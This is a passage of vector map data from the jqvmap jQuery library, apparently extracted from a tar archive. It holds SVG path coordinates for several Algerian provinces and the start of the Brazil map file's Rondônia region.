-0.038 c 0 0 -0.48 -1.023 -0.48 -1.023 c 0 0 -1.177 -0.279 -1.177 -0.279 c 0 0 -6.739 2.031 -6.739 2.031 c 0 0 -2.311 -0.272 -2.311 -0.272 c 0 0 -4.5 0.676 -4.5 0.676 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Tipaza"},"43":{"path":"M 344.575 51.2509 c 0 0 -3.583 -0.418 -3.583 -0.418 c 0 0 -0.49 0.384 -0.49 0.384 c 0 0 1.2 -1.293 1.2 -1.293 c 0 0 -1.162 -1.213 -1.162 -1.213 c 0 0 0.688 -0.604 0.688 -0.604 c 0 0 -0.284 -2.085 -0.284 -2.085 c 0 0 -1.715 -0.398 -1.715 -0.398 c 0 0 -0.049 -1.869 -0.049 -1.869 c 0 0 0.978 -0.521 0.978 -0.521 c 0 0 -2.188 -2.367 -2.188 -2.367 c 0 0 0.097 -1.172 0.097 -1.172 c 0 0 -1.395 -0.427 -1.395 -0.427 c 0 0 0.114 -1.347 0.114 -1.347 c 0 0 -1.244 -0.953 -1.244 -0.953 c 0 0 0.125 -2.048 0.125 -2.048 c 0 0 -0.558 -0.717 -0.558 -0.717 c 0 0 1.112 -0.339 1.112 -0.339 c 0 0 1.367 0.723 1.367 0.723 c 0 0 1.504 -0.447 1.504 -0.447 c 0 0 1.242 -1.67 1.242 -1.67 c 0 0 4.855 0.813 4.855 0.813 c 0 0 1.86 -1.232 1.86 -1.232 c 0 0 0.435 0.64 0.435 0.64 c 0 0 2.741 0.48 2.741 0.48 c 0 0 0.968 -0.175 0.968 -0.175 c 0 0 -0.021 1.6 -0.021 1.6 c 0 0 -3.296 0.765 -3.296 0.765 c 0 0 0.284 2.021 0.284 2.021 c 0 0 -0.921 1.877 -0.921 1.877 c 0 0 1.318 -0.403 1.318 -0.403 c 0 0 1.126 0.879 1.126 0.879 c 0 0 -0.265 1.486 -0.265 1.486 c 0 0 0.788 0.496 0.788 0.496 c 0 0 1.019 -0.295 1.019 -0.295 c 0 0 0.938 0.805 0.938 0.805 c 0 0 -0.108 1.354 -0.108 1.354 c 0 0 -2.365 0.863 -2.365 0.863 c 0 0 -0.161 2.791 -0.161 2.791 c 0 0 -1.221 1.531 -1.221 1.531 c 0 0 -0.78 -0.115 -0.78 -0.115 c 0 0 0.213 0.771 0.213 0.771 c 0 0 -0.716 -0.51 -0.716 -0.51 c 0 0 -1.649 0.227 -1.649 0.227 c 0 0 -0.801 2.112 -0.801 2.112 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Mila"},"44":{"path":"M 270.211 41.3839 c 0 0 -2.993 -2.104 -2.993 -2.104 c 0 0 -4.677 -0.01 -4.677 -0.01 c 0 0 -2.729 -0.815 -2.729 -0.815 c 0 0 -2.959 0.969 -2.959 0.969 c 0 0 -3.893 -0.807 -3.893 -0.807 c 0 0 -0.288 1.111 -0.288 1.111 c 0 0 -1.47 1.098 -1.47 1.098 c 0 0 -1.42 -2.607 -1.42 -2.607 c 0 0 -2.229 1.641 -2.229 1.641 c 0 0 -0.129 1.172 -0.129 1.172 c 0 0 1.495 1.622 1.495 1.622 c 0 0 -1.196 1.17 -1.196 1.17 c 0 0 1.829 0.536 1.829 0.536 c 0 0 -1.33 0.886 -1.33 0.886 c 0 0 0.004 1.019 0.004 1.019 c 0 0 0.681 0.703 0.681 0.703 c 0 0 0.8 -0.179 0.8 -0.179 c 0 0 -0.257 1.099 -0.257 1.099 c 0 0 0.683 1.606 0.683 1.606 c 0 0 1.268 0.909 1.268 0.909 c 0 0 -0.254 1.759 -0.254 1.759 c 0 0 2.133 0.25 2.133 0.25 c 0 0 0.4 1.149 0.4 1.149 c 0 0 0.774 -0.02 0.774 -0.02 c 0 0 2.635 -2.928 2.635 -2.928 c 0 0 -0.007 1.003 -0.007 1.003 c 0 0 2.686 -0.708 2.686 -0.708 c 0 0 0.44 0.937 0.44 0.937 c 0 0 1.229 0.056 1.229 0.056 c 0 0 0.841 1.108 0.841 1.108 c 0 0 1.563 0.131 1.563 0.131 c 0 0 1.051 -1.104 1.051 -1.104 c 0 0 -0.338 -0.876 -0.338 -0.876 c 0 0 1.985 0.074 1.985 0.074 c 0 0 0.315 -2.776 0.315 -2.776 c 0 0 0.861 0.234 0.861 0.234 c 0 0 1.841 -1.11 1.841 -1.11 c 0 0 0.063 -1.843 0.063 -1.843 c 0 0 -1.346 -0.305 -1.346 -0.305 c 0 0 -0.084 -1.369 -0.084 -1.369 c 0 0 -0.708 -0.199 -0.708 -0.199 c 0 0 0.625 -1.91 0.625 -1.91 c 0 0 1.347 0.043 1.347 0.043 c 0 0 0.758 -0.615 0.758 -0.615 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Aïn Defla"},"45":{"path":"M 190.745 93.6368 c 0 0 1.08 1.632 1.08 1.632 c 0 0 2.133 -1.567 2.133 -1.567 c 0 0 0.589 1.018 0.589 1.018 c 0 0 0.342 -0.416 0.342 -0.416 c 0 0 2.966 0.896 2.966 0.896 c 0 0 4.055 -2.511 4.055 -2.511 c 0 0 1.843 1.041 1.843 1.041 c 0 0 3.133 9.769 3.133 9.769 c 0 0 0.314 -1.128 0.314 -1.128 c 0 0 0.854 0.04 0.854 0.04 c 0 0 2.091 -2.885 2.091 -2.885 c 0 0 1.632 -0.712 1.632 -0.712 c 0 0 1.374 0.198 1.374 0.198 c 0 0 0.176 2.472 0.176 2.472 c 0 0 1.795 -0.807 1.795 -0.807 c 0 0 1.055 0.748 1.055 0.748 c 0 0 -0.204 2.644 -0.204 2.644 c 0 0 0.751 0.279 0.751 0.279 c 0 0 0.729 1.792 0.729 1.792 c 0 0 0.76 0.113 0.76 0.113 c 0 0 -2.123 1.127 -2.123 1.127 c 0 0 0.829 2.979 0.829 2.979 c 0 0 -2.931 13.106 -2.931 13.106 c 0 0 0.843 2.448 0.843 2.448 c 0 0 -0.887 0.991 -0.887 0.991 c 0 0 0.673 0.434 0.673 0.434 c 0 0 -0.593 1.588 -0.593 1.588 c 0 0 -1.563 0.854 -1.563 0.854 c 0 0 -0.278 1.842 -0.278 1.842 c 0 0 0.827 0.472 0.827 0.472 c 0 0 -0.27 1.131 -0.27 1.131 c 0 0 0.979 1.097 0.979 1.097 c 0 0 -0.398 1.535 -0.398 1.535 c 0 0 0.432 2.39 0.432 2.39 c 0 0 -2.988 5.758 -2.988 5.758 c 0 0 -1.629 2.4 -1.629 2.4 c 0 0 -2.417 -0.518 -2.417 -0.518 c 0 0 -1.803 1.33 -1.803 1.33 c 0 0 -6.79 -1.902 -6.79 -1.902 c 0 0 -5.834 3.103 -5.834 3.103 c 0 0 -0.298 -1.563 -0.298 -1.563 c 0 0 -1.384 -0.042 -1.384 -0.042 c 0 0 0.542 -2.863 0.542 -2.863 c 0 0 -1.428 -0.123 -1.428 -0.123 c 0 0 -0.163 -2.392 -0.163 -2.392 c 0 0 2.868 -2.595 2.868 -2.595 c 0 0 -5.768 -4.648 -5.768 -4.648 c 0 0 -2.38 -1.182 -2.38 -1.182 c 0 0 -3.35 -5.675 -3.35 -5.675 c 0 0 1.262 -0.418 1.262 -0.418 c 0 0 0.377 -2.404 0.377 -2.404 c 0 0 -2.205 -2.094 -2.205 -2.094 c 0 0 -1.938 -3.413 -1.938 -3.413 c 0 0 0.196 -2.568 0.196 -2.568 c 0 0 1.717 -3.813 1.717 -3.813 c 0 0 -0.095 -1.926 -0.095 -1.926 c 0 0 -1.187 -2.013 -1.187 -2.013 c 0 0 -1.795 -0.51 -1.795 -0.51 c 0 0 0.209 -0.893 0.209 -0.893 c 0 0 1.274 -0.928 1.274 -0.928 c 0 0 -0.546 -2.521 -0.546 -2.521 c 0 0 1.185 -5.71 1.185 -5.71 c 0 0 3.61 -2.62 3.61 -2.62 c 0 0 4.992 0.022 4.992 0.022 c 0 0 1.227 -1.408 1.227 -1.408 c 0 0 1.531 -0.481 1.531 -0.481 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Naâma"},"46":{"path":"M 193.764 72.7758 c 0 0 -0.686 0.069 -0.686 0.069 c 0 0 -0.264 -0.909 -0.264 -0.909 c 0 0 -3.488 -1.748 -3.488 -1.748 c 0 0 -0.331 0.33 -0.331 0.33 c 0 0 -0.372 -0.771 -0.372 -0.771 c 0 0 -1.081 0.455 -1.081 0.455 c 0 0 -2.338 -0.793 -2.338 -0.793 c 0 0 -0.918 1.336 -0.918 1.336 c 0 0 -1.082 0.265 -1.082 0.265 c 0 0 -1.053 -0.668 -1.053 -0.668 c 0 0 0.202 -0.954 0.202 -0.954 c 0 0 -0.848 -0.622 -0.848 -0.622 c 0 0 2.669 -1.768 2.669 -1.768 c 0 0 1.627 0.143 1.627 0.143 c 0 0 2.119 -1.243 2.119 -1.243 c 0 0 2.023 -5.607 2.023 -5.607 c 0 0 0.896 0.035 0.896 0.035 c 0 0 2.06 -1.622 2.06 -1.622 c 0 0 1.342 1.43 1.342 1.43 c 0 0 -0.223 0.718 -0.223 0.718 c 0 0 1.008 0.007 1.008 0.007 c 0 0 -0.383 1.02 -0.383 1.02 c 0 0 -0.893 0.251 -0.893 0.251 c 0 0 0.174 1.591 0.174 1.591 c 0 0 0.012 -0.62 0.012 -0.62 c 0 0 0.895 -0.046 0.895 -0.046 c 0 0 -0.201 -0.597 -0.201 -0.597 c 0 0 0.82 0.657 0.82 0.657 c 0 0 1.569 0.021 1.569 0.021 c 0 0 5.065 -1.624 5.065 -1.624 c 0 0 0.775 2.923 0.775 2.923 c 0 0 -0.771 0.563 -0.771 0.563 c 0 0 -0.027 1.102 -0.027 1.102 c 0 0 -2.838 0.497 -2.838 0.497 c 0 0 -0.066 0.729 -0.066 0.729 c 0 0 -0.97 0.456 -0.97 0.456 c 0 0 -0.813 -0.548 -0.813 -0.548 c 0 0 -0.781 1.395 -0.781 1.395 c 0 0 -0.672 -0.18 -0.672 -0.18 c 0 0 0.286 1.946 0.286 1.946 c 0 0 -1.38 0.461 -1.38 0.461 c 0 0 -0.248 1.451 -0.248 1.451 c 0 0 -0.815 0.469 -0.815 0.469 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Aïn Témouchent"},"47":{"path":"M 280.112 227.213 c 0 0 8.227 -3.631 8.227 -3.631 c 0 0 6.762 -14.091 6.762 -14.091 c 0 0 1.58 -1.093 1.58 -1.093 c 0 0 10.495 -36.704 10.495 -36.704 c 0 0 3.17 -8.157 3.17 -8.157 c 0 0 0.768 -17.01 0.768 -17.01 c 0 0 6.761 -7.312 6.761 -7.312 c 0 0 5.039 -9.304 5.039 -9.304 c 0 0 -11.871 -3.224 -11.871 -3.224 c 0 0 -13.08 -0.901 -13.08 -0.901 c 0 0 -0.77 0.422 -0.77 0.422 c 0 0 -2.684 -1.107 -2.684 -1.107 c 0 0 -0.903 0.387 -0.903 0.387 c 0 0 -0.305 -0.512 -0.305 -0.512 c 0 0 -0.417 0.754 -0.417 0.754 c 0 0 -0.439 -0.318 -0.439 -0.318 c 0 0 -0.945 0.734 -0.945 0.734 c 0 0 -7.853 0.362 -7.853 0.362 c 0 0 3.66 2.229 3.66 2.229 c 0 0 0.331 2.904 0.331 2.904 c 0 0 -8.55 -2.039 -8.55 -2.039 c 0 0 -5.37 1.604 -5.37 1.604 c 0 0 -10.825 0.946 -10.825 0.946 c 0 0 0.565 6.182 0.565 6.182 c 0 0 1.917 7.688 1.917 7.688 c 0 0 -2.573 1.672 -2.573 1.672 c 0 0 0.721 8.612 0.721 8.612 c 0 0 -4.648 5.148 -4.648 5.148 c 0 0 -0.682 28.618 -0.682 28.618 c 0 0 -2.644 13.284 -2.644 13.284 c 0 0 4.271 23.744 4.271 23.744 c 0 0 -1.117 4.883 -1.117 4.883 c 0 0 10.266 -3.805 10.266 -3.805 c 0 0 11.143 -0.965 11.143 -0.965 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Ghardaïa"},"48":{"path":"M 232.66 64.2719 c 0 0 -2.048 -0.317 -2.048 -0.317 c 0 0 -0.295 -0.662 -0.295 -0.662 c 0 0 -1.721 0.085 -1.721 0.085 c 0 0 -0.918 -0.917 -0.918 -0.917 c 0 0 -1.891 0.041 -1.891 0.041 c 0 0 -1.282 -1.803 -1.282 -1.803 c 0 0 -0.858 0.611 -0.858 0.611 c 0 0 -0.125 -0.523 -0.125 -0.523 c 0 0 -1.717 0.492 -1.717 0.492 c 0 0 -1.217 -3.61 -1.217 -3.61 c 0 0 -0.578 -0.193 -0.578 -0.193 c 0 0 1.744 -2.074 1.744 -2.074 c 0 0 0.867 -0.538 0.867 -0.538 c 0 0 0.877 0.373 0.877 0.373 c 0 0 1.332 -1.438 1.332 -1.438 c 0 0 -0.229 -0.909 -0.229 -0.909 c 0 0 0.59 -0.991 0.59 -0.991 c 0 0 -0.674 0.036 -0.674 0.036 c 0 0 -0.313 -0.769 -0.313 -0.769 c 0 0 0.846 -1.018 0.846 -1.018 c 0 0 1.226 0.572 1.226 0.572 c 0 0 0.555 -0.605 0.555 -0.605 c 0 0 2.126 -0.093 2.126 -0.093 c 0 0 -0.359 -0.87 -0.359 -0.87 c 0 0 0.634 -0.699 0.634 -0.699 c 0 0 -1.289 -1.35 -1.289 -1.35 c 0 0 1.979 -2.472 1.979 -2.472 c 0 0 2.056 0.32 2.056 0.32 c 0 0 2.173 -0.8 2.173 -0.8 c 0 0 0.468 1.894 0.468 1.894 c 0 0 0.536 0.021 0.536 0.021 c 0 0 -0.826 1.687 -0.826 1.687 c 0 0 0.509 -0.155 0.509 -0.155 c 0 0 0.519 1.997 0.519 1.997 c 0 0 1.775 -0.663 1.775 -0.663 c 0 0 -0.347 0.244 -0.347 0.244 c 0 0 0.593 0.041 0.593 0.041 c 0 0 0.541 1.179 0.541 1.179 c 0 0 1.563 0.984 1.563 0.984 c 0 0 2.838 -0.813 2.838 -0.813 c 0 0 2.173 3.286 2.173 3.286 c 0 0 0.771 0.672 0.771 0.672 c 0 0 -1.122 1.335 -1.122 1.335 c 0 0 -0.706 -0.142 -0.706 -0.142 c 0 0 -0.332 -0.895 -0.332 -0.895 c 0 0 -0.993 0.542 -0.993 0.542 c 0 0 0.206 1.651 0.206 1.651 c 0 0 -0.649 1.074 -0.649 1.074 c 0 0 -1.449 0.571 -1.449 0.571 c 0 0 -0.567 0.986 -0.567 0.986 c 0 0 -2.058 -0.207 -2.058 -0.207 c 0 0 -0.165 0.913 -0.165 0.913 c 0 0 -0.811 -0.11 -0.811 -0.11 c 0 0 -0.112 0.868 -0.112 0.868 c 0 0 -1.215 0.097 -1.215 0.097 c 0 0 -1.728 2.879 -1.728 2.879 c 0 0 -0.903 0.185 -0.903 0.185 c 0 0 0 0 0 0 c 0 0 0 0 0 0","name":"Relizane"}}, "height": 500, "width": 508});js/jqvmap/maps/jquery.vmap.brazil.js000060400007540602150710775200013535 0ustar00/** Add Brazil Map Data Points */
jQuery.fn.vectorMap('addMap', 'brazil_br', {"width":220000,"height":194010,"pathes":{"br-22":{"name":"Rondônia","path":"M39760.00 75303.00C39803.00 75270.67 39846.00 75238.33 39889.00 75206.00C39889.00 75163.00 39889.00 75120.00 39889.00 75077.00C39878.33 75066.33 39867.67 75055.67 39857.00 75045.00C39867.67 75034.33 39878.33 75023.67 39889.00 75013.00C39910.33 75023.67 39931.67 75034.33 39953.00 75045.00C40017.33 75045.00 40081.67 75045.00 40146.00 75045.00C40178.33 75023.67 40210.67 75002.33 40243.00 74981.00C40264.33 74959.67 40285.67 74938.33 40307.00 74917.00C40317.67 74884.67 40328.33 74852.33 40339.00 74820.00C40435.33 74766.33 40531.67 74712.67 40628.00 74659.00C40649.67 74637.67 40671.33 74616.33 40693.00 74595.00C40725.00 74605.67 40757.00 74616.33 40789.00 74627.00C40799.67 74616.33 40810.33 74605.67 40821.00 74595.00C40864.00 74584.33 40907.00 74573.67 40950.00 74563.00C40971.33 74531.00 40992.67 74499.00 41014.00 74467.00C41078.33 74456.00 41142.67 74445.00 41207.00 74434.00C41207.00 74402.00 41207.00 74370.00 41207.00 74338.00C41217.67 74316.67 41228.33 74295.33 41239.00 74274.00C41282.06 74241.58 41325.20 74209.25 41368.22 74176.78C41411.15 74134.19 41454.07 74091.59 41497.00 74049.00C41518.33 74006.00 41539.67 73963.00 41561.00 73920.00C41614.67 73877.00 41668.33 73834.00 41722.00 73791.00C41722.00 73716.00 41722.00 73641.00 41722.00 73566.00C41711.00 73534.00 41700.00 73502.00 41689.00 73470.00C41657.00 73448.33 41625.00 73426.67 41593.00 73405.00C41593.00 73394.33 41593.00 73383.67 41593.00 73373.00C41603.67 73362.33 41614.33 73351.67 41625.00 73341.00C41678.67 73362.33 41732.33 73383.67 41786.00 73405.00C41796.67 73405.00 41807.33 73405.00 41818.00 73405.00C41839.33 73394.33 41860.67 73383.67 41882.00 73373.00C41914.33 73394.67 41946.67 73416.33 41979.00 73438.00C42000.33 73416.33 42021.67 73394.67 42043.00 73373.00C42053.67 73383.67 42064.33 73394.33 42075.00 73405.00C42075.00 73426.67 42075.00 73448.33 42075.00 73470.00C42118.00 73470.00 42161.00 73470.00 42204.00 73470.00C42214.67 73459.33 42225.33 73448.67 42236.00 73438.00C42225.33 73405.67 42214.67 73373.33 42204.00 73341.00C42246.67 73341.00 42289.33 73341.00 42332.00 73341.00C42364.33 73373.33 42396.67 73405.67 42429.00 73438.00C42439.67 73438.00 42450.33 73438.00 42461.00 73438.00C42482.33 73427.00 42503.67 73416.00 42525.00 73405.00C42546.67 73405.00 42568.33 73405.00 42590.00 73405.00C42643.67 73426.67 42697.33 73448.33 42751.00 73470.00C42772.33 73448.33 42793.67 73426.67 42815.00 73405.00C42825.67 73405.00 42836.33 73405.00 42847.00 73405.00C42879.00 73383.67 42911.00 73362.33 42943.00 73341.00C42964.67 73341.00 42986.33 73341.00 43008.00 73341.00C43040.00 73351.67 43072.00 73362.33 43104.00 73373.00C43168.33 73373.00 43232.67 73373.00 43297.00 73373.00C43318.33 73362.33 43339.67 73351.67 43361.00 73341.00C43361.00 73330.33 43361.00 73319.67 43361.00 73309.00C43425.33 73309.00 43489.67 73309.00 43554.00 73309.00C43575.67 73319.67 43597.33 73330.33 43619.00 73341.00C43651.00 73341.00 43683.00 73341.00 43715.00 73341.00C43715.00 73362.33 43715.00 73383.67 43715.00 73405.00C43736.33 73416.00 43757.67 73427.00 43779.00 73438.00C43790.10 73448.71 43801.10 73459.54 43812.26 73470.17C43844.17 73491.45 43876.09 73512.72 43908.00 73534.00C43918.73 73566.42 43929.34 73598.89 43940.14 73631.28C43950.76 73652.52 43961.38 73673.76 43972.00 73695.00C44004.33 73705.67 44036.67 73716.33 44069.00 73727.00C44090.33 73727.00 44111.67 73727.00 44133.00 73727.00C44165.33 73759.00 44197.67 73791.00 44230.00 73823.00C44240.67 73823.00 44251.33 73823.00 44262.00 73823.00C44272.67 73834.00 44283.33 73845.00 44294.00 73856.00C44294.00 73888.00 44294.00 73920.00 44294.00 73952.00C44304.67 73952.00 44315.33 73952.00 44326.00 73952.00C44347.33 73941.33 44368.67 73930.67 44390.00 73920.00C44401.00 73973.67 44412.00 74027.33 44423.00 74081.00C44433.67 74081.00 44444.33 74081.00 44455.00 74081.00C44465.67 74091.67 44476.33 74102.33 44487.00 74113.00C44497.67 74145.00 44508.33 74177.00 44519.00 74209.00C44529.67 74209.00 44540.33 74209.00 44551.00 74209.00C44573.84 74186.24 44596.51 74163.31 44619.47 74140.67C44628.98 74131.45 44638.49 74122.22 44648.00 74113.00C44669.33 74113.00 44690.67 74113.00 44712.00 74113.00C44722.67 74091.67 44733.33 74070.33 44744.00 74049.00C44754.67 74049.00 44765.33 74049.00 44776.00 74049.00C44797.33 74059.67 44818.67 74070.33 44840.00 74081.00C44851.00 74081.00 44862.00 74081.00 44873.00 74081.00C44915.67 73995.00 44958.33 73909.00 45001.00 73823.00C45022.33 73812.33 45043.67 73801.67 45065.00 73791.00C45076.00 73705.33 45087.00 73619.67 45098.00 73534.00C45140.67 73534.00 45183.33 73534.00 45226.00 73534.00C45237.00 73512.67 45248.00 73491.33 45259.00 73470.00C45269.67 73459.33 45280.33 73448.67 45291.00 73438.00C45325.37 73426.25 45359.67 73414.27 45394.09 73402.66C45424.06 73392.77 45454.03 73382.89 45484.00 73373.00C45526.67 73373.00 45569.33 73373.00 45612.00 73373.00C45633.40 73383.75 45654.90 73394.35 45676.24 73405.20C45729.83 73448.13 45783.41 73491.07 45837.00 73534.00C45858.33 73534.00 45879.67 73534.00 45901.00 73534.00C45912.00 73544.67 45923.00 73555.33 45934.00 73566.00C45934.00 73587.67 45934.00 73609.33 45934.00 73631.00C45944.67 73641.67 45955.33 73652.33 45966.00 73663.00C45998.00 73652.33 46030.00 73641.67 46062.00 73631.00C46072.67 73609.33 46083.33 73587.67 46094.00 73566.00C46115.67 73587.67 46137.33 73609.33 46159.00 73631.00C46180.33 73620.00 46201.67 73609.00 46223.00 73598.00C46233.67 73609.00 46244.33 73620.00 46255.00 73631.00C46255.00 73609.33 46255.00 73587.67 46255.00 73566.00C46233.61 73512.24 46212.29 73458.46 46190.86 73404.72C46180.24 73383.48 46169.62 73362.24 46159.00 73341.00C46159.08 73330.13 46158.84 73319.24 46159.12 73308.39C46169.75 73254.93 46180.37 73201.46 46191.00 73148.00C46191.00 73062.33 46191.00 72976.67 46191.00 72891.00C46201.67 72880.33 46212.33 72869.67 46223.00 72859.00C46266.08 72880.40 46309.21 72901.71 46352.26 72923.17C46384.17 72944.45 46416.09 72965.72 46448.00 72987.00C46458.67 72987.00 46469.33 72987.00 46480.00 72987.00C46490.67 72976.33 46501.33 72965.67 46512.00 72955.00C46512.00 72944.33 46512.00 72933.67 46512.00 72923.00C46555.00 72923.00 46598.00 72923.00 46641.00 72923.00C46651.67 72901.67 46662.33 72880.33 46673.00 72859.00C46748.00 72816.00 46823.00 72773.00 46898.00 72730.00C46919.67 72708.67 46941.33 72687.33 46963.00 72666.00C47016.33 72644.67 47069.67 72623.33 47123.00 72602.00C47134.00 72602.00 47145.00 72602.00 47156.00 72602.00C47209.33 72634.00 47262.67 72666.00 47316.00 72698.00C47316.00 72751.67 47316.00 72805.33 47316.00 72859.00C47348.33 72912.67 47380.67 72966.33 47413.00 73020.00C47402.33 73062.67 47391.67 73105.33 47381.00 73148.00C47381.00 73158.67 47381.00 73169.33 47381.00 73180.00C47413.00 73191.00 47445.00 73202.00 47477.00 73213.00C47477.00 73234.33 47477.00 73255.67 47477.00 73277.00C47455.67 73309.00 47434.33 73341.00 47413.00 73373.00C47413.00 73394.67 47413.00 73416.33 47413.00 73438.00C47434.33 73438.00 47455.67 73438.00 47477.00 73438.00C47509.00 73448.67 47541.00 73459.33 47573.00 73470.00C47594.67 73491.33 47616.33 73512.67 47638.00 73534.00C47680.67 73502.00 47723.33 73470.00 47766.00 73438.00C47787.67 73438.00 47809.33 73438.00 47831.00 73438.00C47852.33 73427.00 47873.67 73416.00 47895.00 73405.00C47884.33 73383.67 47873.67 73362.33 47863.00 73341.00C47873.67 73330.33 47884.33 73319.67 47895.00 73309.00C47948.67 73309.00 48002.33 73309.00 48056.00 73309.00C48066.67 73298.33 48077.33 73287.67 48088.00 73277.00C48088.00 73266.33 48088.00 73255.67 48088.00 73245.00C48109.33 73223.33 48130.67 73201.67 48152.00 73180.00C48141.33 73148.00 48130.67 73116.00 48120.00 73084.00C48130.67 73084.00 48141.33 73084.00 48152.00 73084.00C48169.26 73066.73 48186.45 73049.39 48204.10 73032.51C48208.40 73028.34 48212.70 73024.17 48217.00 73020.00C48238.33 73020.00 48259.67 73020.00 48281.00 73020.00C48270.33 72998.33 48259.67 72976.67 48249.00 72955.00C48270.33 72933.67 48291.67 72912.33 48313.00 72891.00C48313.00 72869.67 48313.00 72848.33 48313.00 72827.00C48334.33 72805.33 48355.67 72783.67 48377.00 72762.00C48409.33 72762.00 48441.67 72762.00 48474.00 72762.00C48495.33 72740.67 48516.67 72719.33 48538.00 72698.00C48538.00 72687.33 48538.00 72676.67 48538.00 72666.00C48559.33 72655.33 48580.67 72644.67 48602.00 72634.00C48602.07 72623.24 48601.87 72612.44 48602.10 72601.71C48613.13 72569.38 48624.05 72537.02 48635.14 72504.72C48645.76 72483.48 48656.38 72462.24 48667.00 72441.00C48677.67 72430.33 48688.33 72419.67 48699.00 72409.00C48688.33 72387.33 48677.67 72365.67 48667.00 72344.00C48667.00 72333.33 48667.00 72322.67 48667.00 72312.00C48656.33 72290.67 48645.67 72269.33 48635.00 72248.00C48635.00 72194.33 48635.00 72140.67 48635.00 72087.00C48624.00 72076.33 48613.00 72065.67 48602.00 72055.00C48602.00 72023.00 48602.00 71991.00 48602.00 71959.00C48613.00 71948.00 48624.00 71937.00 48635.00 71926.00C48656.33 71851.00 48677.67 71776.00 48699.00 71701.00C48699.00 71647.67 48699.00 71594.33 48699.00 71541.00C48720.33 71551.67 48741.67 71562.33 48763.00 71573.00C48773.67 71562.33 48784.33 71551.67 48795.00 71541.00C48805.67 71519.33 48816.33 71497.67 48827.00 71476.00C48859.57 71454.46 48892.23 71433.05 48924.75 71411.44C48967.50 71379.29 49010.25 71347.15 49053.00 71315.00C49095.67 71304.33 49138.33 71293.67 49181.00 71283.00C49224.00 71283.00 49267.00 71283.00 49310.00 71283.00C49320.77 71293.85 49331.72 71304.55 49342.37 71315.50C49374.25 71358.33 49406.12 71401.17 49438.00 71444.00C49449.09 71443.93 49460.23 71444.13 49471.29 71443.90C49503.20 71433.27 49535.10 71422.63 49567.00 71412.00C49610.00 71379.67 49653.00 71347.33 49696.00 71315.00C49696.00 71304.33 49696.00 71293.67 49696.00 71283.00C49717.33 71283.00 49738.67 71283.00 49760.00 71283.00C49770.71 71293.77 49781.54 71304.43 49792.17 71315.26C49813.45 71347.51 49834.72 71379.75 49856.00 71412.00C49877.67 71401.33 49899.33 71390.67 49921.00 71380.00C49953.00 71380.00 49985.00 71380.00 50017.00 71380.00C50060.00 71390.67 50103.00 71401.33 50146.00 71412.00C50167.33 71412.00 50188.67 71412.00 50210.00 71412.00C50220.67 71401.33 50231.33 71390.67 50242.00 71380.00C50263.67 71369.33 50285.33 71358.67 50307.00 71348.00C50307.00 71326.33 50307.00 71304.67 50307.00 71283.00C50317.67 71283.00 50328.33 71283.00 50339.00 71283.00C50360.33 71272.33 50381.67 71261.67 50403.00 71251.00C50413.67 71240.33 50424.33 71229.67 50435.00 71219.00C50456.43 71219.03 50477.88 71218.93 50499.31 71219.05C50563.54 71229.70 50627.77 71240.35 50692.00 71251.00C50735.00 71240.33 50778.00 71229.67 50821.00 71219.00C50853.00 71219.00 50885.00 71219.00 50917.00 71219.00C50938.78 71208.33 50960.49 71197.49 50982.30 71186.93C51024.87 71176.28 51067.43 71165.64 51110.00 71155.00C51153.10 71133.31 51196.17 71111.53 51239.29 71089.89C51324.86 71057.93 51410.43 71025.96 51496.00 70994.00C51517.33 70994.00 51538.67 70994.00 51560.00 70994.00C51560.00 71026.00 51560.00 71058.00 51560.00 71090.00C51538.67 71143.67 51517.33 71197.33 51496.00 71251.00C51496.00 71261.67 51496.00 71272.33 51496.00 71283.00C51517.33 71293.67 51538.67 71304.33 51560.00 71315.00C51581.77 71314.96 51603.55 71315.08 51625.31 71314.94C51678.87 71304.29 51732.43 71293.65 51786.00 71283.00C51839.33 71293.67 51892.67 71304.33 51946.00 71315.00C52032.00 71261.67 52118.00 71208.33 52204.00 71155.00C52246.67 71155.00 52289.33 71155.00 52332.00 71155.00C52342.67 71144.33 52353.33 71133.67 52364.00 71123.00C52363.97 71101.23 52364.06 71079.46 52363.96 71057.69C52353.32 70982.69 52342.56 70907.70 52332.00 70832.69C52332.00 70790.13 52332.00 70747.56 52332.00 70705.00C52321.33 70672.67 52310.67 70640.33 52300.00 70608.00C52300.00 70586.67 52300.00 70565.33 52300.00 70544.00C52332.00 70511.67 52364.00 70479.33 52396.00 70447.00C52407.00 70425.67 52418.00 70404.33 52429.00 70383.00C52407.33 70340.00 52385.67 70297.00 52364.00 70254.00C52364.00 70200.67 52364.00 70147.33 52364.00 70094.00C52385.76 70061.61 52407.39 70029.11 52429.22 69996.78C52439.81 69986.19 52450.41 69975.59 52461.00 69965.00C52482.33 69975.67 52503.67 69986.33 52525.00 69997.00C52546.33 69997.00 52567.67 69997.00 52589.00 69997.00C52621.33 69975.67 52653.67 69954.33 52686.00 69933.00C52696.87 69933.07 52707.76 69932.87 52718.61 69933.10C52782.74 69943.74 52846.87 69954.37 52911.00 69965.00C52900.33 69922.00 52889.67 69879.00 52879.00 69836.00C52911.00 69793.33 52943.00 69750.67 52975.00 69708.00C52964.33 69697.33 52953.67 69686.67 52943.00 69676.00C52953.69 69664.89 52964.58 69653.92 52975.14 69642.72C52985.76 69621.48 52996.38 69600.24 53007.00 69579.00C53007.00 69557.67 53007.00 69536.33 53007.00 69515.00C53028.67 69504.33 53050.33 69493.67 53072.00 69483.00C53082.67 69429.33 53093.33 69375.67 53104.00 69322.00C53114.67 69311.33 53125.33 69300.67 53136.00 69290.00C53146.67 69290.00 53157.33 69290.00 53168.00 69290.00C53178.67 69300.67 53189.33 69311.33 53200.00 69322.00C53200.00 69332.67 53200.00 69343.33 53200.00 69354.00C53221.67 69375.33 53243.33 69396.67 53265.00 69418.00C53275.67 69418.00 53286.33 69418.00 53297.00 69418.00C53329.00 69364.67 53361.00 69311.33 53393.00 69258.00C53393.00 69236.33 53393.00 69214.67 53393.00 69193.00C53382.33 69193.00 53371.67 69193.00 53361.00 69193.00C53339.67 69171.67 53318.33 69150.33 53297.00 69129.00C53297.00 69097.00 53297.00 69065.00 53297.00 69033.00C53264.67 69000.67 53232.33 68968.33 53200.00 68936.00C53189.33 68904.00 53178.67 68872.00 53168.00 68840.00C53168.00 68829.33 53168.00 68818.67 53168.00 